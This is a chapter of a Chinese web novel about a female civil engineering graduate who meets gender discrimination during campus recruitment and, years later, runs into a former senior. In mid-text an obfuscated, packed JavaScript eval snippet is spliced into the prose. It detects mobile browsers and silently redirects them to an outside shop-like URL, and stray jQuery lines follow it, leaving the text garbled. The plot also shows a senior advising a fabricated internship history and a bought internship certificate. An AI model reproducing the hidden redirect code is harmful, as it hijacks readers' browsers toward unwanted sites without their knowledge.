10.异类(2)
作品:《Monster》 她叫原雀,人如其名,是旷野里的麻雀,竭尽全力生存,却又在某一个瞬间扑棱进进某一个狭小、会吞噬生命力的沼泽。
她寒窗苦读终于上了大学,读了个据说不错的专业——土木,在毕业季的时候扑棱地飞进了秋招这个泥沼。
说出来算体面——秋招招聘他们专业的基本都是国企,原雀的舍友推荐了一个陶学姐帮忙把关简历的制作。
陶学姐收费一百块钱,费用不算便宜,原雀咬咬牙花了,结果她的初版简历被陶学姐批得狗血淋头,陶学姐给她发了新的模板,说她原版“花里胡哨是要竞选玛丽苏的七彩发型吗”。
新模板是蓝白色的,线条很简洁,原雀又熬夜做简历。
第二版又被陶学姐打回来了,陶学姐干脆把自己的简历抹掉名字发给她,让她照着做。
原雀的简历很简单,甚至因为写不够,原雀把字体还稍稍调大了。陶学姐的简历发过来后,原雀打开后被震惊了——密密麻麻全是奖项和经历。
陶学姐的实习经历有四段,舍友路过瞄了几眼,佩服道,“好多实习经历,全是和本专业相关的,太厉害了。”
舍友打算读研,每天去图书馆,不打算去秋季招聘会了。
不仅四段实习经历,陶学姐还参加过小挑赛拿了国奖,校园经历也丰富到让原雀感慨不愧是陶学姐,担任过学生会部门部长……
唯独绩点不高。
但是原雀的大学生涯被兼职占满了,实习的工资比不上她的兼职,原雀对于成绩也是及格万岁,学生会和社团一点不沾。
她能写些什么呢?
舍友和她一起烦恼,她们没有像原雀那样高强度兼职,多少有点儿东西可写。
考研的舍友提议道,“你问问陶学姐呢?反正你花了钱,你大胆问呀!”
原雀愁眉苦脸道,“我不敢……我怕她觉得我蠢兮兮的……”
舍友们撺掇她,“你问问,你可是花了钱的顾客!”
原雀实在没法儿,拿起手机给陶学姐发了消息,十分钟后,陶学姐的电话过来了。
陶学姐没说她蠢,也没嫌弃她,电话接通后,陶学姐单刀直入道,“课程作业做过没?”
“啊?”原雀纳闷道,“做过……”
“行,改个名字,改成XXX项目直接写进校园经历,至于具体做了什么,就把课程作业的内容改一改放里面,四六级过没过?”
“过了过了陶学姐。”
“行,没有别的什么证书,四六级和计算机二级写证书那一栏,绩点不高就不写,实习经历有没有?”
“不好意思陶学姐我没有?”
陶学姐沉思一会儿后问她,“舍得花钱吗?”
“舍得舍得,陶学姐怎么了?”
“这样,实习经历上网看看别人的,编一编,实习证明你找这个学长。”
陶学姐推给她一个微信。
伟大的陶学姐雷厉风行,三言两语给她安排好了,等原雀把简历第三次发给陶学姐后,陶学姐只帮她改了改格式后就发给了她,“可以了。这样没什么问题了。”
舍友们笑话原雀,“没出息的家伙,叫你老是去做家教,现在不好搞了吧。”
原雀哼哼道,“你知道我存了多少钱不?家教攒钱真的很快。也就一开始的中介费比较费钱。”
让原雀万万没想到的是,简历只是第一关,正式招聘才是第二关,关关难过。
招聘土木类的主要是建筑公司和铁路公司两大类,原雀和不考研的三个舍友一起去招聘会宣讲会。
一个公司的宣讲会就是两个小时,宣讲会结束后,HR才会开始收简历,大部分宣讲会都在同一时间,宿舍三人决定多打印几份简历,每个人都去听一场宣讲会,宣讲会结束把宿舍另外两个人的建立了投上去。
等简历初筛过了,如果有人进,就让一个人等在那里等待HR叫人面试。
三人的想法很好,但是第一天,简历初筛过了的只有一个人。
第一天的人最多,有的公司干脆让学生们排队面试。
原雀和一个舍友等到另一个舍友面试。
等待的过程中,她们也目睹了面试的全过程。
十月份秋老虎来了,人有多,原雀惹到出汗,干脆用简历当扇子扇风。
HR在面试一个男生,这家公司的HR是为数不多的女HR,舍友拉了拉她,“……你有没有感觉,HR好像对男生们很和蔼。”
原雀感受到了,她们问的都是一些诸如:“家里有几口人啊?”
“爸妈同不同意外省工作啊?”
……
最后,她们问他,“如果我们给你offer,你现在能签三方吗?”
当面试者成为女生的时候,HR们不再笑了,她们问她们各种专业问题。
问她们,“能不能接受下工地?”
“有男朋友吗?”
“未来几年打算结婚生孩子吗?”
原雀感到了心凉。
那天结束的时候,原雀投了六家公司简历,一家都没过。原雀有些丧气,尤其是听说有家公司今天一口气签了五十个人,她更沮丧了。原雀开始反思,自己大学的时候是不是该多参加比赛?不去干那么多兼职?
原雀和三个室友打包了晚饭回到宿舍,其中一个舍友吃了晚饭就跑去隔壁宿舍了,考研的还没回宿舍,另一个在看综艺散心。
过了一会儿,原雀的舍友从隔壁宿舍跑了回来,开玩笑道,“你们知道不,不是我们简历不行,是我们缺个东西。”
“缺什么?”原雀不禁问道。看综艺的舍友也暂停了综艺听她们说话。
“缺格调,”舍友半开玩笑道,“今天没一个女生签三方,签了五十个学生的那个公司全要的男生。”
看综艺的舍友开玩笑道,“我现在去泰国装格调还来得及不?”
三个人齐齐叹气。
那个舍友又跑出去打探消息了,原雀拿出手机,想和家里人说说今天秋招的事儿,但是用脚指头想,他们一定会说,“早说喊你选师范吧,这年头师范吃香,再给你找个关系回老家当个老师多好……”
总而言之,一定是悔不当初她没选师范,去了土木这个行业。
原雀决定第二天再去试试——她们专业,没有一个女生在秋招上成功签三方,给了她诡异的安全感。
所以,她们的简历,到底去哪里了?
第二天,原雀照例带着另外两个舍友的简历交给HR,那个HR是个看着很和蔼的老爷爷,算是秋招里原雀见过年纪最大的HR。
原雀交的最晚,宣讲会的教室里没什么学生了,只有几个HR在坐着筛选简历。
老爷爷接过原雀的简历,看了看,问她,“这打印的什么?摸着质量很好的样子。”
“用的铜版纸。”原雀道。
“那很贵吧?”老头递给她,低声道,“过不了的,我们公司没什么招女生的指标的。这打印很贵吧,你去别的公司试试吧。”
确实很贵,铜版纸打印要两块钱一张,但是看着规整、不容易折,原雀不知道怎么回复老头,她接回自己的简历,干巴巴地道谢,“好的谢谢,麻烦您了。”
她拿着简历茫然走出教室,刚好舍友发来消息,原雀和舍友汇合,舍友抱怨,“我真服了,我出教室出的晚,我亲眼看见那个HR把女生的简历抽出来,一打全扔掉了!还不如把简历还我呢。”
原雀挥了挥自己手里的简历,“正巧,我手里的简历就是退回来的。”
也好不到哪去,三个人苦中作乐,“晚上去吃麻辣烫安慰安慰自己吧。”
秋招第三天,考研的舍友早早出门去了图书馆。原雀在她洗漱声醒来,第一反应是就是:昨天简历用完了,得再去打印一点。
这个时候,舍友拿起手机大喊一声,“我劁!”
“怎么了怎么了?”原雀从床帘中探出脑袋。
“哈哈哈哈哈,”舍友嘲讽地笑了几声,“我学姐给我说,上一届秋招的时候,女生最快签三方,也是秋招开始第一周后。”
经历两天秋招,原雀对这个结果竟然不出意外——她的高中朋友也是最近秋招,那个朋友真的去读了师范,她说,就算是师范秋招招聘,完全不需要任何力气的工作,HR也告诉她们,他们更倾向于找男生。
“神经病哈哈哈哈。”
三个人又倒在床上昏天黑地地睡到十二点,大家才陆陆续续醒来。
“点外卖吗?还是出去吃。”有人问。
原雀懒懒道,“都行——下午还去秋招会吗你们?”
另外两个人哼哼唧唧半天,终于还是叹气道,“去吧去吧,什么时候才能暴富啊……”
“那就出去吃吧,起来收拾吧。”原雀叹气。
三个人又哀嚎着起床出门,为了应聘,三人还是化妆。原雀不太会化妆,舍友给她化好妆,“中午别吃火锅什么的了,吃完直接去秋招会吧,就不回来补妆了。”
“好——”原雀附和。
转机出现在秋招会第八天,班级群里出现一条消息,学院有一个茶话会,这个茶话会也算是宣讲会,只是和其他公司不一样,是需要报名参加,名额有限,并且在专门的会议室。
那条群消息强调,“该公司有女生名额”。
这个茶话会是学院的荀明老师组织的,荀明老师人特别好,打过交道的学生都这么说,原雀还听学姐说,如果你考公考研上岸了,但是毕业论文被刁难了,可以打电话找荀老师,荀老师会打电话给你的导师,进行“亲切问候”。
后面多半就没问题了。
“你们去吗?”原雀问舍友。
其中一个舍友提醒道,“别去,内部消息哈,茶话会的组织者荀老师已经内推了一个学生,正好是我朋友舍友,她是团委那边的,和老师们关系可好了——我讨厌那个女生,我才不去呢。那女生秋招也是没找到工作,荀老师就推荐了她。”
“茶会话就是走个过场。”另一个人评价。
“有奶茶诶,”原雀仔细看通知,“我过去蹭杯奶茶。”
舍友们缩回床上,“你去吧,下午一点钟开始,这个时间我俩不如补个午觉。”
于是,下午一点钟,原雀一个人来到了会议室,会议室里满满当当都是女生——全部都是女生。
原雀走了进去找了个位置坐下,每张凳子底下都有一杯奶茶。
茶会话时间开始了,会议室门一关,原雀注意到,会议室里全都是女性。这让她感到放松。
门口卷头发的荀明身材微胖,原雀一眼就认出了她,她笑眯眯地坐在会议桌靠近门口的位置,最里面是三名女性HR。
一位站着在调试话筒,一位坐着拿着电脑投屏PPT,另一位引人瞩目——她的头发很短,穿着短袖,露出的胳膊上有流畅的肌肉线条。
其实大体的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162541|196491||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
视频宣传和PPT和别的公司差不多,无非是宣传公司的底蕴和福利,还有近几年获得的成果,PPT结束的时候站着的HR问大家,“大家有什么想问的吗?”
有个女生抬手问,“你们确定有女生指标吗?”
讲PPT 的女人笑眯眯道,“有的,这个我可以保证,不过我们还是建议女生们尽量走行政岗,要下工地的岗位可不轻松。”
接着,学生们问了几个问题后,全场鸦雀无声,HR问了几遍没人再问问题了,说实话,原雀也不知道问什么。
这个时候,荀明老师出声了,她还是笑眯眯的,“既然我们的学生没什么要问的了,那我有问题了。首先,关于大家都想问的女生指标问题,说实话,我们的女生们也很优秀,但是很多公司就是不收我们的学生,你们的女生指标有保障吗?”
站着的HR保证道,“关于指标问题,是我旁边的陶工申请下来的,陶工常年在工地一线,她知道公司有为女师傅,要退休了,陶工申请在她退休前带两位女员工,师傅那边没意见,公司那边也同意了,所以指标是不用担心的。”
坐在旁边的短发女人从手机里抬头,出生道,“我就是陶工,我可以保证是真的。”
原雀觉得陶工的声音好熟悉。
荀明老师继续问,“现在很多建筑公司都发不出公司,你们公司发的出来工资吗?”
“这当然发的出来。”
“会对员工的工资进行拖欠吗?”
“这个……我们最多只会延迟发放一个月的工资。”
“所以还是会拖一个月的工资是吗?”荀明老师的话跟连珠炮一样,片刻不停。
HR站着没反驳。
“另外关于福利和社保问题,”荀明老师继续道,“我看你们的宣传册上没写公司六千是税前还是税后,请问这是税前还是税后?”
“税前工资,但是我们公司逢年过节都会发福利的,比如购物卡什么的。”
“宣传册上说有试用期,请问你们的试用期大概是多久?考核标准是什么?另外,我们往届学生很多有一两年就有大量离职的,说是发不出工资,请问你们公司有什么不同吗?”
原雀听见旁边的女生小声道,“荀老师好帅。”
这个时候,一直沉默的陶工站起来,接替讲PPT的HR回应荀明老师。
两个人说话都有条不紊,你来我往,语速不快不慢,原雀听得清清楚楚。
随着陶工的话语越来越多,原雀终于反应过来了,这声音为什么熟悉了——这不是陶学姐的声音吗?
学姐赚外快呢?
原雀问了一下,知道了这三个HR的名字,其中有一个姓陶的,
她叫,陶善理。
最后,原雀没投递简历,她也默认了舍友的忠告——这个茶话会,就是走过场的。
原雀在招聘会上闲逛,商学院有一场招聘会正巧在不远处,她第一次去看了看别的专业的招聘会。
原雀走进去看了看,是一家教培机构,有时候原雀在路上都听过这机构的名字。
很赶巧,宣讲会刚刚结束,HR正在收简历,原雀脑子一抽,把自己简历原封不动地交了上去——那简历上的求职意向甚至还是建筑公司的岗位。
令原雀也没想到的是,她的简历初筛很容易就过了,面试的时候HR问她有过相关经历没。
原雀做过家教和教培机构寒暑假兼职,她便直接说了这些经历。
她面试过了。
HR加了她联系方式,说她这几天抽空录个讲课视频就可以签三方协议了。
这么……轻松?
原雀有些恍惚,她走出教室,从楼道一阶一阶往下走。
秋日的阳光透过窗户斜射进来——原雀猛然惊醒。
——
“原老师,主任找你,她在小学部那边。”同事问原雀。
原雀听见喊声,伸了个懒腰,从办公桌上惊醒。
哦对,她现在是私立学校的金牌数学老师,不死二十多岁奔波在招聘会的学生了。
那年招聘会,她最后去了教培机构,最后自考了教师资格证,来到了这所私立学校教书,已经有十年了。
原雀戴上眼镜,她今年带学校的初三,班里面能上重点高中的学生有二十多个,都是学校的好苗子。快中考了,她最近也是压力大。
原雀不知道主任找她干嘛,只好起身准备从初中部去小学部。
小学部今天开学,人很多,原雀在心里抱怨了几句,这个时候,她看见了一个人影。
——寸头,手臂肌肉线条流畅,最重要的是,那张侧脸很熟悉。
原雀以为自己忘记了,但她连那场招聘会的细节都记得清楚,怎么会忘了——比如要荀明老师推荐的那个学生最后没过面试。
这让原雀讨厌那个学生的舍友笑了老半天。
原雀没忍住快步走上前,大学过后,很多人都渐渐不再联系了。
比如,学姐的号某一天黑了头像后,再没亮起过了。
人太多了,原雀不顾老师形象地跑了几步,急匆匆地过去,看见了那个身影的正脸。
没错,原雀立刻确定了,那就是陶学姐。旁边还有一个小孩儿。
陶学姐的小孩儿都到了上学的年纪了?
原雀扬起笑脸,快步上前,带着久别重逢的微妙快乐喊出声,“陶学姐!”
陶善理愣住了。

